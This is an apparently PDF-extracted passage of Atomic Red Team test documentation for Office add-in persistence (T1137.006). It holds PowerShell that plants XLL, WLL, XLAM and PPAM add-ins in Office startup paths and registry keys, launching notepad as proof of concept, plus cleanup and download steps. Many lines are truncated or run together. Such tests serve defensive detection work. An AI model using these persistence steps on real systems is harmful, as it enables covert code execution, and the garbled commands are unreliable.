

```
    T1036
    T1037.001
    T1037.002
    T1037.004
    T1037.005
```

```
else{
    Write-Host "32-bit Office"
    $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelx
}
```

```
Stop-Process -Name "notepad", "Excel" -ErrorAction Ignore
```

## Dependencies: Run with powershell!

Description: Microsoft Excel must be installed

#### **Check Prereq Commands:**

```
try {
  New-Object -COMObject "Excel.Application" | Out-Null
  Stop-Process -Name "Excel"
  exit 0
} catch { exit 1 }
```

#### **Get Prereq Commands:**

```
Write-Host "You will need to install Microsoft Excel manually to meet th \Box
```

Description: XLL files must exist on disk at specified location

## **Check Prereq Commands:**

```
if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xl
```

## **Get Prereq Commands:**

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/rInvoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

## Atomic Test #2 - Persistent Code Execution Via Excel Addin File (XLL)

Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.

Supported Platforms: Windows

auto\_generated\_guid: 9c307886-9fef-41d5-b344-073a0f5b2f5f

```
$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
    Write-Host "64-bit Office"
    Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$e
}
else{
    Write-Host "32-bit Office"
    Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env
}
```

```
$ver = $excelApp.version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options"
Remove-Item $ExcelRegPath -ErrorAction Ignore
New-Item -type Directory $ExcelRegPath | Out-Null
New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyTyp
$excelApp.Quit()
Start-Process "Excel"
```

```
$ver = (New-Object -COMObject "Excel.Application").version
Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" -ErrorA
Stop-Process -Name "notepad", "Excel" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.xll" -ErrorAction Ignore
```

## Dependencies: Run with powershell!

Description: Microsoft Excel must be installed

## **Check Prereq Commands:**

```
try {
   New-Object -COMObject "Excel.Application" | Out-Null
   Stop-Process -Name "Excel"
   exit 0
} catch { exit 1 }
```

#### **Get Prereq Commands:**

```
Write-Host "You will need to install Microsoft Excel manually to meet th \Box
```

Description: XLL files must exist on disk at specified location

## **Check Prereq Commands:**

```
if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xl
```

## **Get Prereq Commands:**

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/rInvoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

## Atomic Test #3 - Persistent Code Execution Via Word Addin File (WLL)

Creates a Word Add-in file (WLL) which runs automatically when Word is started The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office. Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office.

Supported Platforms: Windows

auto\_generated\_guid: 95408a99-4fa7-4cd6-a7ef-cb65f86351cf

```
$wdApp = New-Object -COMObject "Word.Application"
if(-not $wdApp.path.contains("Program Files (x86)"))
{
    Write-Host "64-bit Office"
    Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" "$env:.
}
else{
    Write-Host "32-bit Office"
    Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" "$env:.
}
Stop-Process -Name "WinWord"
Start-Process "WinWord"
```

```
Stop-Process -Name "notepad", "WinWord" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" -ErrorAction

Remove-Item "$env:APPDATA\Microsoft\Notepad.wll" -ErrorAction

Remove-Item "$env:APPDATA\Microsoft\Notepad.wll" -ErrorAction

Remove-Item "$env:APPDATA\Microsoft\Notepad.wll" -ErrorAction

Remove-Item "$env:APPDATA\Microsoft\Notepad.wll" -ErrorAction

Remove-Item "$env:APPDATA\Microsoft\Notepad.wll"
```

#### Dependencies: Run with powershell!

Description: Microsoft Word must be installed

## **Check Prereq Commands:**

```
try {
   New-Object -COMObject "Word.Application" | Out-Null
   Stop-Process -Name "winword"
   exit 0
} catch { exit 1 }
```

## **Get Prereq Commands:**

```
Write-Host "You will need to install Microsoft Word manually to meet thi ar \Box
```

Description: WLL files must exist on disk at specified location

## Check Prereq Commands:

```
if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll
```

## **Get Prereq Commands:**

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/rInvoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

# Atomic Test #4 - Persistent Code Execution Via Excel VBA Add-in File (XLAM)

Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.

Supported Platforms: Windows

auto\_generated\_guid: 082141ed-b048-4c86-99c7-2b8da5b5bf48

```
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" "$env 🖵 Start-Process "Excel"
```

```
Stop-Process -Name "notepad", "Excel" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" -ErrorAction Ignore
```

## Dependencies: Run with powershell!

Description: Microsoft Excel must be installed

#### **Check Prereq Commands:**

```
try {
  New-Object -COMObject "Excel.Application" | Out-Null
  Stop-Process -Name "Excel"
  exit 0
} catch { exit 1 }
```

#### **Get Prereq Commands:**

```
Write-Host "You will need to install Microsoft Excel manually to meet th \Box
```

Description: XLAM file must exist on disk at specified location

#### **Check Prereq Commands:**

```
if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xl 🖵
```

## **Get Prereq Commands:**

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

# Atomic Test #5 - Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)

Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.

Supported Platforms: Windows

auto\_generated\_guid: f89e58f9-2b49-423b-ac95-1f3e7cfd8277

```
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:A $ver = (New-Object -COMObject "PowerPoint.Application").version

$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\non New-Item -type Directory $ExcelRegPath -Force | Out-Null

New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD

New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType Stop-Process -Name "PowerPnt" -ErrorAction Ignore

Start-Process "PowerPnt"
```

```
$ver = (New-Object -COMObject "PowerPoint.Application").version
Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\note
Stop-Process -Name "notepad", "PowerPnt" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.ppam" -ErrorAction I
```

## Dependencies: Run with powershell!

Description: Microsoft Excel must be installed

**Check Prereq Commands:** 

```
try {
  New-Object -COMObject "PowerPoint.Application" | Out-Null
  Stop-Process -Name "PowerPnt"
  exit 0
} catch { exit 1 }
```

## **Get Prereq Commands:**

```
Write-Host "You will need to install Microsoft PowerPoint manually to me\Box
```

Description: PPAM file must exist on disk at specified location

#### **Check Prereq Commands:**

```
if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam ☐
```

## Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```